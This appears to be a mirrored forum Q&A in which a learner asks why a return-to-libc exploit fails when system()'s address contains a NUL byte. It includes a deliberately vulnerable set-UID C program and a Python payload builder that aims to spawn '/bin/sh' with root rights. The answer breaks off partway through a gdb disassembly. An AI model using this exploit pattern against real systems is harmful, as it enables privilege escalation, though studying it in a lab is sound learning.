Home > Enterprise >  Buffer Overflow in strcpy(): return address of system() has a \x00 byte. (return-to-libc)
Buffer Overflow in strcpy(): return address of system() has a \x00 byte. (return-to-libc)

Time:10-22

I'm currently learning about a return-to-libc method to bypass the non-executable stack countermeasure. The return address I'm trying to overflow on the stack is the libc system() function's address but it contains a Null Termination byte at the end which stop the strcpy() function from copying any further into a buffer.

Before I elaborate more, here's some important information about the two programs I'm working with and my system. Also I should mention that my goal is to find a solution that doesn't require me to use a completely different exploitation approach since I'm trying to learn about return-to-libc at the moment. My knowledge of the subject isn't good enough for me to know if it simply isn't doable given the circumstances or if I'm missing something.

OS: debian-based OS (kali) 64bits
ASLR: off (randomize_va_space=0)

stack.c (gcc -fno-stack-protector -z noexecstack -m32 -o stack stack.c)

This is a 32-bit Set-UID program owned by root
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int foo(char *str)
{
        char buffer[100];

        // The following statement has a buffer overflow problem
        strcpy(buffer, str);
        return 1;
}

int main(int argc, char **argv)
{
        char str[400];
        FILE *badfile;

        badfile = fopen("badfile", "r");
        fread(str, sizeof(char), 300, badfile);
        foo(str);

        printf("Returned Properly\n");
        return 1;
}

libc_exploit.py

#!/usr/bin/python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

sh_addr = 0xffffdfe8        # The address of "/bin/sh"
content[120:124] = (sh_addr).to_bytes(4, byteorder='little')

exit_addr = 0xf7c396a0      # The address of exit()
content[116:120] = (exit_addr).to_bytes(4, byteorder='little')

system_addr = 0xf7c47000    # The address of system()   ----- THE NULL BYTE IS HERE! -----
content[112:116] = (system_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
    f.write(content)

The vulnerable user input is in a file called "badfile". When I fill that file with appropriate value using the python script above and execute stack.c, I get the following common error:
zsh: segmentation fault (core dumped) ./stack

I did two things to find what was the problem; I created a very similar python program that only called the exit() function and I ran the stack.c program in gdb. The whole return-to-libc approach worked when I returned to the address of the exit() function. The argument stored in the environment variable MYSHELL was also received by the function without any issue even though it doesn't make sense to send it to the exit() function. To clarify, this is the end of the strace output when the return address is overflowed to exit()'s address:

enter image description here

and the address of the environment variable is: 0xffffdfe8

Now that I'm pretty sure that the error was because of the NULL Byte, I would like to know if there is a way to bypass that without using a completely different method?

CodePudding user response:

Now that I'm pretty sure that the error was because of the NULL Byte

Yes: strcpy() will stop when it finds the NUL byte (note, it's different from NULL, which is not a byte).

I would like to know if there is a way to bypass that without using a completely different method?

On my system, disassembly of the system function looks like this:

(gdb) disas system
Dump of assembler code for function __libc_system:
   0x00046f70 < 0>:     call   0x167fd9 <__x86.get_pc_thunk.dx>
   0x00046f75 < 5>:     add    $0x1d807f,           
  • Related